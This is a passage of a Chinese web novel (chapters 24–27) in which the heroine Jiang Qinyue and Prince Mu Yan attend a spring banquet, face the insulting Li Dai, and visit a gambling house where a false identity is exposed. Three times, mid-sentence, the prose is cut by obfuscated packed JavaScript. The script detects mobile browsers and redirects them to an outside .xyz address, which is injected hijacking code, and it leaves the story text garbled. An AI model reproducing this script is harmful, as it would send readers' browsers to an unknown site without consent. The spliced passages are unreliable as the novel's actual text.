江沁月抬头看他,第一次在那一贯温和好看的脸上看见如此阴戾的神情。 他骨节分明的手指因用力而发白,只听“咔哒”一声,竟是将李岱的手腕生生捏得脱了臼。 “啊!!!”李岱吃痛惨叫一声,那只不安分的手软绵绵地垂了下去。 穆衍冷冷开口道:“本王身边的人,岂是你能染指的?” 李岱痛得冷汗涔涔说不出话来,江沁月有气绝不受着,开始了单方面的语言攻击。 “太子与太子妃前几日亲自邀我们赴宴共赏春光,可没说害了疯病的狗也能来啊,这四处乱咬伤着人了可怎么办?” “不三不四的女人?你有本事就将这话说到太子与太子妃跟前去。” “你或许不知我名号,也不知我与太子妃颇有些交情,但你一见我便妄加揣测口出狂言,是否太过无礼?” “李公子两耳不闻窗外事,圣贤书也读到狗肚子里了?” 这李岱压根不把穆衍放眼里,江沁月直接搬出了主角这座最大靠山。 “少在这里狐假虎威,你这个……啊!!!” 李岱恶狠狠地瞪着她,正要还嘴骂些什么,穆衍却一使劲将他的手腕接了回去,痛得他又是惨叫连连。 “算了哥哥,午宴要开始了,我们快过去吧,”李妍拉住他,又瞥了江沁月一眼,“这女的最近在京城里确实小有风头,看她能得意几天吧。” “二妹也快一起走吧,别在这里丢人现眼。” 江沁月担忧地看着李娴,后者朝她摇摇头,露出一个浅笑示意自己无事,便跟着兄姐一起走了。 穆衍幽潭般深邃的眼底似有墨云翻涌,他微微眯眼,目送那兄妹三人渐行渐远, 静默良久后,穆衍终于垂眸看向身侧与自己并肩而立的女孩。 她也正看向自己,眼神一如既往的清澈明亮,还隐含着关切,似乎并未被那些污言秽语影响分毫。 确定自己隐藏好所有情绪后,穆衍向她露出一个温和无害的笑容。 “抱歉,沁月。”他轻声道,“我们走吧。” 24. 杯停弦响露锋芒 “走?我们现在去哪?”江沁月以为穆衍是被气得准备打道回府了,“而且殿下为何要跟我说抱歉?” “去玉满堂赴宴。你若不想去的话,我们便直接回王府吧。”穆衍道,“抱歉让你今日遇到这种事,没能玩得尽兴。” 他眼中满是歉意,看起来很是在乎她的感受。 “当然要去!我还没见识过所谓的曲水流觞呢,”江沁月毫不犹豫道,“而且何必因为这种人影响心情?殿下也别再想了,恶人自有恶人磨。” 两人各有心事,一路上彼此无言。 “对了沁月,还有……”穆衍打破了平静,似乎想说什么,却又止住了话头。 “什么?” 默了片刻后,穆衍只笑了笑:“罢了,先不提了。” 江沁月点点头道声好,也不再多问。 赏春宴设在了玉满堂,院中种满了玉兰树,如今正赶上花期开得繁盛,恰应了赏春之意。 庭院中还开凿了一条曲折蜿蜒的溪渠,本是引山中清泉注满其间,今日特意将甘泉换成了美酒。 溪渠边上已次第摆好了几案,不时凋落的玉兰花瓣飘零而下,浓烈的酒香混合着清甜的玉兰花香,让人不饮也似醉了三分。 宫婢们往来其间为开宴做着最后准备,各家公子小姐们也已到了不少,衣香鬓影,好不热闹。 江沁月与穆衍随意找了两个挨着的席位入座,她四处张望了一下,却看见了一道意想不到的身影。 嘶……那是林三吧? 不同于往常花里胡哨的衣饰,今日他穿得挺正经,江沁月都有些不敢认。 他怎么会在这里? 像是感受到了她投射而来的视线,林三回头看到她时,眼底也闪过一瞬的意外之色,之后便恢复如常,还带上了几分散漫的戏谑。 他收起洒金折扇,懒懒地冲她挥挥手,还颇有闲情地朝她wink了一下,一双上挑的狐狸眼勾人得很。 “你认识他?”穆衍冷不丁开口问道,应该是瞧见了他二人的眉来眼去。 “啊?呃……算不上认识,之前他似乎来邀月轩吃过饭,我不太确定是不是他。” 江沁月本来正准备起身去林三那边,问问他到底什么情况,被穆衍一打岔,又只得坐了回去。 “他叫凌觉,是个纵情风月的风流公子,最好别和他有太多牵扯,”穆衍漫不经心道。 “林觉?”江沁月凑近穆衍,压低声音问道,“他是不是千乐坊林老板的三儿子?他也能来这里吗?” “林老板?江姑娘怕是认错人了,不是双木‘林’,是凌云壮志的‘凌’,”穆衍也压低了声音,耐心解释道,“他父亲是当今吏部尚书,可惜站错了队,现在在朝中可不太好过。” 原来如此,此凌非彼林。 虽然早就知道他对身份有所隐瞒,但江沁月还是有些生气。 见江沁月隔着老远怒气冲冲地瞪着自己,林三……不,凌觉伸出食指抵在唇上,无辜地眨眨眼,示意她千万要保密。 江沁月朝他翻了个白眼,暂时不再去想,总有秋后算账的时候。 穆灼和颜桃也到了,待诸位都入座后,各说了几句客套话,这赏春宴也总算是要正式开始。 “每次曲水流觞,都只是吟诗作赋,久而久之倒有些无趣了,”颜桃笑道,“今日本宫倒是有个新点子,诸位可想一试?” 众人自然说好。 “大体规则倒是不变,这酒杯随波逐流,停在谁面前,谁便饮尽此杯,然后再表演个才艺。” “才艺形式不限,吟诗作赋也好,琴棋书画也罢,大家都不必拘束,愿今日我们都能尽兴而归。” “若是实在觉得自己才疏学浅,可自罚一杯,邀请在场任意宾客与自己一同完成表演。” 颜桃解释了规则,这还是江沁月给她出的主意,美名其曰以此增加大家的互动性。 盛满佳酿的薄胎玉盏随波而下,还未漂出多远便停在了颜桃面前。 “既然如此,那本宫便先打个样,作画一幅吧。”颜桃笑着端起玉盏一饮而尽。 玉满堂庭院中央正好有一方水榭,宫婢们取来笔墨案几置于其上,颜桃走上水榭后略思忖片刻,寥寥几笔便完成了一幅写意的玉兰图。 第二次酒盏停在了李娴跟前,她向穆衍这边看了一眼,但最终还是自己作了首诗。 江沁月痛心疾首。 多好的机会啊!就这样被浪费了。 那李岱与李妍兄妹俩可真讨厌,自己眼高于顶看不上穆衍,还不准庶妹争取一下。 吃着碗里的看着锅里的,怎么这般护食呢? 流水潺潺,丝竹绵绵,游戏有条不紊地继续进行着,在座众人兴致颇高,表演才艺者也是十八般武艺齐上阵。 大家也不扭捏,大大方方地互相邀请,或是对诗,或是合奏,其乐融融。 玉盏飘飘荡荡地向江沁月这边而来,她的心都提起来几分。 别停下别停下!她只想安静地当个看客,切身感受一下曲水流觞这等风雅之事。 江沁月紧紧盯着那玉盏,见它晃悠悠地从自己跟前漂走,总算是松了口气。 结果那玉盏似是遇上了漩涡,在她与穆衍之间停了下来,不偏不倚,甚至不好说离谁更近一些。 江沁月刚放下一半的心又悬了起来,玉盏在水中兀自旋转,却不再前进分毫。 “这怎么算?”有人问道。 颜桃道:“既然不好判定,不如就请襄王殿下与江姑娘各饮一杯,再行表演?” “她表演?可别让在座诸位看笑话。”李岱哂笑一声。 他们这两位当事人还没发表意见,倒是有人急不可待先跳脚了。 李岱接着阴阳怪气道:“这位江姑娘是打算给我们讲个俗不可耐的话本故事么?这里不是茶楼饭馆,可别什么低俗的腌臜东西都拿出来卖弄。” 江沁月估计是李妍或者李娴给他介绍了一下自己的事,毕竟方才湖边遇见时他都不知道自己是谁。 这人多少有点毛病,逮着谁骂谁。 他多半是想报复穆衍,但大庭广众之下也不好对他太过出言不逊,于是就将怒火转移到了她身上。 颜桃闻言首先面露不悦:“阳春白雪,下里巴人,不知在李公子眼中何谓高雅,何谓低俗?” “一枝独秀不是春,百花齐放春满园,”江沁月悠悠开口,“就如这庭院中虽种满了玉兰,树下的野花野草也并未被宫人们全部清除。” 她说着随手摘下一朵不知名的小黄花轻轻放入水中,看它随着那些皎白的玉兰花瓣一起漂远。 李岱平时肯定也得罪了不少人,几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264286|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位不认识的官家小姐也纷纷出言奚落。 “大家都是肉体凡胎,谁不是俗世中人?在座的各位有不少都去过邀月轩听书,不需要李公子在这里妄下定论。” “李公子怕是不知道邀月轩每天下午都一座难求,不过如今你想听也没机会,江姑娘之前伤了嗓子便退居幕后了。” “哼,那就看看吧,江姑娘可不要贻笑大方。”眼瞧着自己就要成为众矢之的,李岱终于闭了嘴。 既来之,则安之,江沁月也不打没准备的仗。 她饮完杯中酒,起身走上了水榭。 “若是想听故事,那恐怕要让大家失望了,”江沁月笑道,“我也略通些乐理,今日便为大家带来一首家乡小调的筝曲吧。” 李岱嗤笑道:“靡靡之音,恐难登大雅之堂。” 江沁月懒得理他,向演奏的乐师们借了一架古筝,让宫人搬上了水榭。 戴好义甲后,她试着拨了几下弦,心也定了几分。 铮然弦响,气势磅礴。 家乡小调是骗鬼的,她弹的这一曲是《将军令》。 欲扬先抑嘛。 这首曲目极考验基本功,当初练习时被老师拎着耳朵骂,被老妈拿着藤条打,一番勤能补拙后已经形成了肌肉记忆。 此时此刻江沁月无比庆幸自己有这一技之长,在穿越时真是派上了大用场。 铿锵激昂的曲调,让人仿佛亲历沙场见到那金戈铁马,恢弘壮丽。 一曲毕,余音袅袅,满座宾客鸦雀无声。 “献丑了。”江沁月施施然行了一礼,步下水榭回到了自己的坐席。 她虽不想主动出风头,但真要上场那也不能丢了面子。 “这听起来可不像是地方小调,倒像是行军打仗的战曲。”穆衍道。 “殿下好灵的耳朵,此曲名为《将军令》,是我偶然习得。” 看来这个时代的古筝虽然和现代一样是二十一弦,曲目却不想现代那般多种多样。 穆灼也难得称赞道:“江姑娘虽为女子,却也将曲中的雄浑气势展现得淋漓尽致,真叫人耳目一新。” 太子都发话了,众人自是跟着叫好,但也总有人要唱反调。 “怕不是只会这么一首,拿来唬人罢了。”李岱不屑道,从方才起他的脸色便一直很难看。 颜桃神色不虞地看向他:“本宫虽不会弹筝,于琴艺倒也有些钻研,二者总有相通之处,这一看便知江姑娘基本功扎实。” 江沁月耸耸肩:“只会一首又如何?总之贻笑大方的另有其人就是了。” 李岱跟吃了火药似的一点就炸:“我管你是弹琴的还是说书的,总不过是低贱之身,敢在这和我叫板?” “勾上了襄王又跟太子妃攀上点关系,就不知天高地厚了?” “李岱!你休要放肆!”颜桃拍案起身,摆出几分威仪,“江姑娘是本宫的朋友,对她无礼,便是对本宫无礼。” 欺软怕硬的狗东西总算是噤了声。 江沁月不禁感慨,果然还是要抱紧主角的大腿,很靠谱,很安心。 “今日如此雅兴,别因他一人败了兴致,”穆衍淡然道,又另外倒了杯茶,“本王有病在身,便以茶代酒罚过。” “方才江姑娘一曲有破阵之势,本王便乘兴而起,舞剑一段吧。” 25. 飞短流长何足扰 穆衍自然不可能佩剑赴宴,便向行宫侍卫借了一柄。 他于水榭站定,拔剑出鞘,起势挽了个剑花。 今日穆衍一身宽袍大袖的常服,本不适合舞刀弄剑,但他的动作行云流水,繁复的衣袍并未成为累赘,反而中和了冷兵器带来的肃杀之意,为其增添了几分柔和美感,当真是赏心悦目。 长剑划破空气的凌厉风声也在诉说着,这不是真正的舞蹈。 江沁月远远观望,脑海中突然蹦出一个词——宝刀未老。 水榭上穆衍衣袂翩飞,仿佛振翅欲飞的白鹤。 透过那道身影,她好像看见了过去在战场上意气风发的少年将军。 只可惜,在书中她一笔带过,以后也不会再有机会见到。 每思及此,江沁月难免有些怅惋。 忽然,只见穆衍一个飞身翻出水榭,剑指李岱直向他刺去。 众人只来得及惊呼一声,而李岱本人则像是被这陡生的变故吓傻了,呆坐在座位上一动不动。 剑尖堪堪停在离他鼻尖只有半寸距离的地方,一片花瓣恰好落在了剑刃上,稳稳当当。 “仔细别让落花掉进了杯中,白白玷污了好酒。”穆衍声音温和,似乎还带着笑意。 他将剑平移至一边,轻轻翻转手腕,花瓣便落入满是玉液琼浆的溪渠,顺流而下。 是花弄脏了酒,还是酒玷污了花? 李岱僵硬地笑了一下:“……多谢殿下提醒。” 他方才看得清楚,穆衍眼中分明有着一闪而过的杀意。 穆衍神色自若地收剑入鞘,回到了席间。 李岱眼神阴鸷地看着江沁月与穆衍有说有笑——就为了这么个女人,敢给他这么大的难堪? 他们李家是数一数二的名门望族,祖上出过几任丞相,连皇帝也不敢太对他们怎么样。 纵然父亲一朝失势,也总有回来的一天。 而这襄王,荣华富贵也不知还能保几代,打了次胜仗便居功自傲。 若不是皇帝可怜他,留他在京中养病,这宴席间哪有他的位置? 等着瞧吧。 “看来是轮到我了,幸好今日随身带了一管玉箫,但箫声哀婉,与这春景不和……不如请江姑娘弹筝与我合奏一曲?” 突然被点名的江沁月看向说话者——原来是凌觉。 他这会儿的嗓音也不似在邀月轩那般总带着弯弯绕绕的尾调,整个人从头到脚就是一个端方的世家公子样。 怪不得邀月轩虽常有小姐夫人们来听书,他的马甲却一直捂得死死的。 江沁月指指自己又指指他,用眼神询问他到底想干嘛。 凌觉当然看得懂她的意思,但他答非所问:“就简单奏一曲《高山流水》吧,江姑娘可会此曲?” “……会,只是许久不曾弹过,恐惹凌公子笑话。”江沁月深吸一口气,尽量平和道,却仍有些咬牙切齿之意。 “无妨,江姑娘请。” 这一次江沁月与凌觉一同步上了水榭,凌觉趁机附在她耳边低声道:“午宴结束后晚些时候你回这来,我有话跟你讲。” 江沁月冷哼一声,算是答应了他。 《高山流水》一曲不难,箫声低沉,琴音清脆,二人的合奏也相得益彰。 穆衍指尖在杯沿合着乐声轻敲,半眯着眼望着水榭上合奏的二人。 不,其实他只在看弹琴的那个女孩。 …… 午宴结束后,宾客们有的打道回府,有的兴致颇高,便继续在行宫各处赏玩。 “沁月是想回去还是再四处逛逛?”穆衍征询着江沁月的意见。 这话正中江沁月下怀,她顺水推舟道:“早上我们只去了芳华殿和翠微湖,那就再四处逛逛吧。” 这偌大的行宫逛一天也逛不完,她只是想捱一会儿时间,找机会溜回玉满堂见凌觉。 估摸着时间差不多了,江沁月又开始了她的表演。 “糟了,我的手帕好像落在玉满堂了。”说着她在身上各处摸了摸,一无所获。 自然是不见了,因为她故意把手帕丢在了玉满堂。 “别急,我们一起回去找找。” 江沁月连忙道:“不必!殿下在前边凉亭等我吧,我自己去找就行,很快就回来!” 不给穆衍拒绝的机会,她话音刚落便步履匆匆地往玉满堂行去。 杯盘狼藉已被宫人们打扫干净,这会儿玉满堂的庭院中只余花香阵阵,流水潺潺。 “在下方才捡到一方手帕,不知可是姑娘遗落的?”凌觉抱臂倚在不远处的花树下,笑吟吟地看着她。 果然是人前人后两副面孔,这会儿又变成江沁月熟悉的吊儿郎当的样子了。 江沁月一把夺回自己的手帕,没好气道:“笑什么笑?赶紧给我个解释,凌、公、子!” “别生气了沁月,这事我确实不对,”凌觉道,“先正式自我介绍一下吧,我叫凌觉,字亦晓,家父是当今吏部尚书。” “所以你也体谅体谅我,要是我爹知道我在酒楼里说书,真能把我腿打断。” “其实他老人家估计已经知道了,但没闹到台面上来他也不好说什么,你可千万千万要替我保密啊。” “你随便编个假身份糊弄我们也就算了,借用别人的身份来唬我们,是不是太过分了?”江沁月质问道。 这才是她最气愤的点。 “冤枉啊沁月,我从来都没承认过我是千乐坊林老板的儿子。”凌觉狡辩道。 江沁月愤愤道:“知道我们认错了也不纠正,你这是恶意误导我们!” “我在家中也行三啊!我上头有两个姐姐,所以我说我是凌三也没毛病。” 强词夺理!江沁月摩拳擦掌跃跃欲试。 “好啦好啦,实在抱歉,不过你放心,真林三知道了也不会说什么的,”凌觉讨饶道,“我后面也会跟赵老板解释清楚的,当然我的真实身份肯定不能告诉她。” “你最好说话算话。” “那是自然,沁月你还信不过我吗?” 江沁月怒极反笑:“你觉得呢?” “别啊,你要是不把我当朋友了,我可是会伤心的。”凌觉委屈地拉了拉江沁月的袖子。 “就是把你当朋友才生气,以诚相待不是最基本的吗?”江沁月用力扯回自己的袖子,“你今天还坑我,干嘛又把我拉上去一起表演?” 听见她这话,凌觉稍微正经了几分:“这你就错怪我了,我是看李岱那厮说你故意卖弄,便让他知道你是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289385|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真本事的。” “那我要是没有怎么办?你就这么想当然?”江沁月见此人这般理直气壮,气不打一处来,伸手便要拧他胳膊。 凌觉早有防备地截住了她,笑眯眯道:“没有也无妨,有我给你撑腰,他不敢把你怎么样。” “你撑腰?他跟疯狗似的,逮谁咬谁。”江沁月怀疑地看着他。 “襄王殿下他都不放在眼里,何况你?你是不知道,早上在翠微湖边他就没事找事,无理取闹了一通。” “这也是我正要说的,李岱他定是把你当成襄王殿下的姬妾了,”凌觉面露无奈,“当然,一般人不会这样想,襄王殿下是出了名的洁身自好,大家基本上也都知道你写书印书的事……” “但是总而言之,你不再继续住在王府的话,那任何人也没法说什么了。” “不住在王府,难道搬去凌公子府上住吗?”身后一道冷冷的声音响起,竟是穆衍。 江沁月被吓了一跳:“殿下?!不是说好在那边等我吗?” “见你许久未归,担心你出事便寻了过来,”穆衍解释道,“而且是你自己急着跑了,我们可没说好。” 嘶……这话听着怎么有些幽怨? 也不知他是多久来的,眼前这个场景……在穆衍的视角看来,大概就是她与刚才在席间眉来眼去初相识的风流公子拉拉扯扯不清不楚幽会于无人之地…… 怎么听起来像是她被捉奸了一样? 江沁月用力摇摇头,将脑子里乱七八糟的想法甩了出去。 凌觉咳嗽一声,又恢复了翩翩凌公子的人设:“见过襄王殿下,在下只是捡到了江姑娘的手帕,想要物归原主罢了。” 穆衍盯着他仍抓着江沁月手腕的那只手,冷笑道:“只是还个手帕,便这样动手动脚,凌公子真是风流成性。也怪不得,李岱的话只有你能听进去了。” “殿下误会了,在下是好心提醒江姑娘,流言蜚语也总会带来困扰。”凌觉放开了手。 “江姑娘听我一言,便羞愤交加作势要打我,可见殿下也要为姑娘家的名声着想不是?在下斗胆说一句,江姑娘搬出王府,对你们双方都好。” 什么羞愤交加?简直是胡说八道! 江沁月知道凌觉是为她好,不说回邀月轩继续住在昭兰姐那里,她如今也是小有存款,靠自己在京城寻一隅安身之地也不是难事。 但是远离了穆衍就远离了任务,这绝对不行! 不等穆衍发话,江沁月抢道:“身正不怕影子斜!什么流言蜚语的,当耳边风就行了。清者自清,若是为此避讳,反倒显得是我心虚。” 这话她是看着穆衍说的,眼神坚定目光炯炯,誓要表现自己任尔东西南北风的决心。 接着她扭头瞪了凌觉一眼,用口型无声斥道:“闭嘴!” 穆衍轻笑一声:“管他什么流言蜚语,依本王看,谁乱说就割了谁的舌头,谁瞎打听就割了谁的耳朵。” “又或是换个方式,割了听信者的舌头,让他再开不了口接着传谣;割了传谣者的耳朵,让他再也听不见任何谣言。” 他语气随和,仿佛只是在探讨今晚要吃什么菜,却一步步逼近,漆黑如墨的眼眸中毫无笑意。 “凌觉,你觉得哪种方式更好?” 26. 千金销魂见真章 “那自然是当个健全人更好,殿下可真会说笑……”凌觉讪讪道,识趣地闭嘴结束了这个话题。 他当然知道穆衍不可能真的割了他的舌头耳朵,但凌觉还是心有余悸。 这襄王殿下的性子一向最是温和,自己也没得罪他啊? 见眼前二人之间隐隐有剑拔弩张之势,江沁月深感此地不宜久留。 她赶紧对穆衍道:“殿下,既然已经找回了手帕,我们就先走吧。” 午后日光正盛,晒得人恹恹的。 江沁月与穆衍一路无话,沉默地行至了宫门外,又沉默地各自上了马车。 于礼而言,她与穆衍共乘一辆马车自然是不合适的,所以自江沁月来到王府后,穆衍便专门拨了一辆马车给她使用。 江沁月有些心烦意乱,撩开车帘正想看看风景,却发现这似乎并不是回王府的路。 ……这是要把她驱逐出境了吗? 她求助似的看向身边的云霞:“那个……这路好像不太对吧?我们要去哪?” “殿下说今日赏春宴被人败了兴致,所以趁时间还早,带姑娘去个有意思的地方。”云霞道。 “……什么地方?” “到了就知道了,为了方便,请江姑娘换身衣服吧。”云霞说着从旁边拿出一套男装。 明明瞅着穆衍的情绪应该不太好啊,怎么还有心思去别的地方玩? 还故弄玄虚要她扮男装,难不成是要去逛青楼? 纵然满腹狐疑,江沁月也只能接过衣服麻利地换上。 识时务者为俊杰,不管要去哪里,料想自己应是没有拒绝的权利了。 见她换好了衣服,美妆小能手云霞又帮她大致改了一下妆容发型,让她看起来更显几分英气。 马车停在了一条僻静的小巷中,江沁月跳下马车,发现穆衍也换了身更为稀松平常的衣服。 “为免多生事端,剩下的路我们步行去。”穆衍解释了一句,便示意她跟上。 这么神秘吗?到底是要去什么地方? 她的疑问很快就得到了解答,七弯八拐了一阵后,他们抵达了目的地。 江沁月仰头看向大门牌匾上龙飞凤舞的三个漆金大字—— 千乐坊。 “殿下,来赌坊其实没必要换衣服吧?”江沁月低声道,“我还以为要去什么水深火热之地呢……” 穆衍闻言勾唇一笑:“进去看看你就知道了。” 拾阶而入,朱红的门扉像是一张血盆大口,将他们吞噬进了这个充斥着金钱与欲望的深渊之地。 “哇——”一进门江沁月便小小地惊叹了一下这里的金碧辉煌。 不是她没见识,要知道邀月轩在京城里也是数一数二的豪华大酒楼了,而千乐坊内部装潢的华丽程度更是有过之无不及。 头顶天花板的壁画上嵌着无数宝石,脚底是柔软的狐皮地毯,悬挂垂坠的纱幔上都以金线刺绣花纹,当真是奢靡至极。 周围大大小小的赌桌上,有掷骰子比大小的,有推牌九、打叶子牌的。 仔细一瞧,那些赌具也不一般,骰子是翡翠和红玛瑙做的,骨牌看上去像是由象牙制成。 赌徒们几家欢喜几家愁,赢的人笑容满面,输的人也勉力维持着表面风度。 毕竟能来这里玩的都是有些身份家底的人,总不会闹得太难看。 千乐坊里没有窗户,只有无穷无尽的灯烛长明不灭,叫人忘却了黑夜白天。 室内熏香所用的香料名贵,还掺了些薄荷、龙脑之类的来提神,使得空气中飘散的浓郁清香不会令人头晕脑涨,反倒是神清气爽精神百倍。 “二位公子要玩些什么?”小二笑着迎了上来。 江沁月闻言拉着穆衍转过身,背对小二低声道:“殿下,我今日没带多少钱,要不算了吧?” 小二见他二人窃窃私语不答话,便滔滔不绝地介绍推销起来。 “……楼上有提供免费的餐饮,也有厢房可以休息。” 说到这,小二压低了声音神秘一笑,“瞧见每一桌上的美人了吗?若是能成为最后的赢家,便有机会能与她们——共赴巫山。” 江沁月算是明白为什么千乐坊能成为京城第一销金窟了。 不仅有美女荷官在线发牌,还将赌坊青楼二合一——黄.赌.毒三样占了两样。 这“有机会”三字也是用得巧妙,背后的水只怕是深得很。 “不必了,我们是来找你家三公子的,他在哪?”穆衍直截了当地问道。 小二为难道:“这……三公子在楼上陪贵客游戏,现下恐怕不方便见客……” 这也忒不会说话了,楼上的是贵客,那他们是贱人不成? 小二也立马反应过来自己的失言,连忙找补道:“不知公子身份名姓?小的上去通报时也好交代些……公子既是三公子的友人,定然知晓他玩起来时是最不耐烦被打扰的。” “友人算不上,”穆衍只拿出几片金叶子扔进他手里,“让他下来见我,他不会责罚于你的。” 要不说有钱能使鬼推磨呢,那小二接过金叶子小心翼翼地收好,乐呵呵地就上楼去了。 “殿下真是挥金如土。”江沁月幽幽感叹。 穆衍道:“千乐坊的人,给少了他们看不上。” 二人没聊几句,小二便引着一位锦衣青年下楼来,他五官算得上端正,神情看起来有几分不耐。 “三公子,就是这二位了。”小二腆着笑脸,观察着自家主子的神情。 青年的视线扫过江沁月,定睛看清穆衍的一瞬间,他脸上的不耐烦顿时烟消云散。 “殿……二位楼上请,有什么事我们慢慢聊。”他换上一副热切的笑脸,转身时又对小二使了个眼色。 小二心领神会,忐忑的一颗心也总算是放了下来。 与楼下的吵嚷相比,楼上人少又安静,青年领着他们进了一间包厢,里面的装修也是同样的奢靡。 江沁月和穆衍与那青年相对而坐,他拍拍手,两位美人便走了进来。 她们一人一边跪坐于江沁月和穆衍身侧,为他们斟茶。 “曼珠和兰梦,我们千乐坊中拔尖儿的美人。”青年介绍道。 身侧名为曼珠的红衫美人斟茶时,几乎贴在了江沁月身上,她被吓得连忙往穆衍那边挪了挪。 虽然她也是女的,但现在穿的是男装啊!穆衍带她来这就是为了这种事吗? 那为什么不直接去青楼呢?还要带着她一起……不对不对,这也太ooc了吧?穆衍怎么可能是这种人? 江沁月余光偷瞄着穆衍那边,名叫兰梦的女子低眉含笑,看上去倒是温柔内敛很多。 看来这两位美人,一位是热情似火,一位则柔情似水。 兰梦见这位贵人不动如山,便伸出一双纤纤玉手要攀上穆衍的肩膀。 “你下去吧。”穆衍微微侧开了身子。 兰梦水汪汪的眼睛中满是无措,愣了一瞬后还是告退了。 曼珠这边看着姐妹遗憾离场,心里也不禁打起了小九九。 三公子亲自叫她们来服侍的贵客,若是能博得其青睐…… 再怎么说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298267|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也得为前程搏一搏不是?她心一横直接扑进了身边这位俊俏小郎君的怀中。 这一扑可谓是猝不及防,二人都立刻僵住了。 江沁月低头看向投怀送抱的美人,她的脸正正好好贴在了自己的……胸上。 而她今日换装换得着急,又想着这男装宽松,自己胸也不算大,便没有束胸。 曼珠当然也立刻感受到了她身前的柔软,她错愕地抬头,目光停在了江沁月的颈前。 难怪这位公子看起来格外眉清目秀,原来本身就是个姑娘家。 看来自己一番心思也是白费了。 罢了,姑娘家的话,便更不用顾及了,亲热亲热做做样子给自家主子看吧。 曼珠双手环上了江沁月的脖子,附在她耳边朱唇轻启:“小美人,陪姐姐逢场作戏一下。” 江沁月心领神会,一手揽住曼珠的腰,一手抚上她的脸,手指将她的下巴微微抬起。 嗯,电视剧里沉迷美色的昏君都是这么做的吧?接下来应该说点什么呢…… 还没等她想出台词,便听见身侧一道冷淡的声音响起:“你也下去。” 曼珠抬眼便看见男人的视线牢牢锁定在自己身上——此时不走更待何时? 她悻然退去,房间里又只剩下了他们三人。 江沁月纳闷得很,这穆衍到底是来干嘛的? 对面的青年似乎也有些摸不着头脑,笑容中透露出几分局促。 “不知殿下今日突然到访,胜泉实在有失礼数,招待不周,还请殿下恕罪。” 说完他又看向了江沁月:“这位随殿下一同前来的公子是……?” “江公子是本王的朋友,”穆衍说着向江沁月介绍对面的青年,“这位是千乐坊林老板家的三公子,林胜泉。” 江沁月闻言微微瞪大了双眼。 林老板家的三公子…… 也就是说,对面这位,是真正的林三。 穆衍无视了江沁月的讶异,转而向林胜泉道:“本王今日来,是有事要问你。” “殿下请讲,胜泉定知无不言。” “你认识凌觉吗?” “认识,亦晓和我相识多年了,隔三岔五他便会来千乐坊玩。” “他在外边顶着你的名头,你知道吗?” “这……”林胜泉犹豫了,没有马上回答。 “……我知道,亦晓让我保密。”最终他还是如实相告,“我也不太有所谓,反正我甚少外出,常年厮混在这一亩三分地罢了……” 后面他们还说了什么,江沁月已经听不进去了。 穆衍他知道凌觉就是妙语花,也知道他借用了林胜泉的身份。 江沁月的心情很复杂。 她一时竟不知是该担心凌觉的马甲被掀飞,还是气恼穆衍一直没跟她说实话。 穆衍察觉到了身边人微妙的情绪变化,他神色自若地继续与林胜泉攀谈,余光时不时瞥向江沁月这边。 见她努力维持着面上的平和,穆衍心底涌生出一种莫名的快感。 他想起了江沁月初到王府不久的那个寒夜,他偶然撞见了江沁月和鬼鬼祟祟的“妙语花”。 他质问江沁月那个人究竟是谁时,他记得她说: “我之前答应过要替他保密,所以不会背叛对朋友的承诺。” 可是她信守诺言拼命维护那位“朋友”的一切,不过都是谎言。 穆衍很想知道,当真相如此赤裸地摆在眼前时,她会怎么想? 她平静神情上产生的每一丝裂纹,或许就是无声的答案。 27. 实言叩问起争端 穆衍是临时起意带江沁月来这里的。 他也不知道自己为什么这样冲动。或许是不甘看见谎言揭穿后,就这般云淡风轻地被他二人揭过。 那不如再揭穿得彻底一些。 与林胜泉已经没什么好说的了,穆衍便转头问江沁月:“你第一次来,要不要去下面玩两局?” 温和平淡的语气,仿佛对江沁月的纷乱心绪无知无觉。 仿佛他只是在周全地思量友人初临此地的游玩体验。 “江公子有兴趣的话,胜泉愿亲自奉陪。”林胜泉忙道。 江沁月摇摇头:“不用了,我不会玩这些。” 她哪里还有心思玩? “那我送二位出去,若是以后想来玩的话,派人提前来知会我一声就好。”林胜泉笑着起身准备送客。 “为何还要来?你以为本王是什么人?” 林胜泉的笑容僵在了嘴角。 “殿下恕罪,是不是兰梦曼珠她们惹您不快了……” “与她们无关,”穆衍道,“过去的事我不追究,但不代表我忘记了。还是说三公子忘性大,已经想不起了?” “胜泉怎敢忘怀……是我痴心妄想,妄图乞求殿下原谅。”林胜泉脸色煞白,“扑通”一声跪倒在地。 江沁月看得一头雾水,凌觉的事还没琢磨清楚,这又是在闹哪一出? “起来吧,本王答应了你不再追究便会说到做到,今日找你也只是问事。” 林胜泉还是将他们送到了千乐坊门口。 “三公子,江某有个不情之请,”江沁月思虑再三后还是决定再替那二位美人说说话。 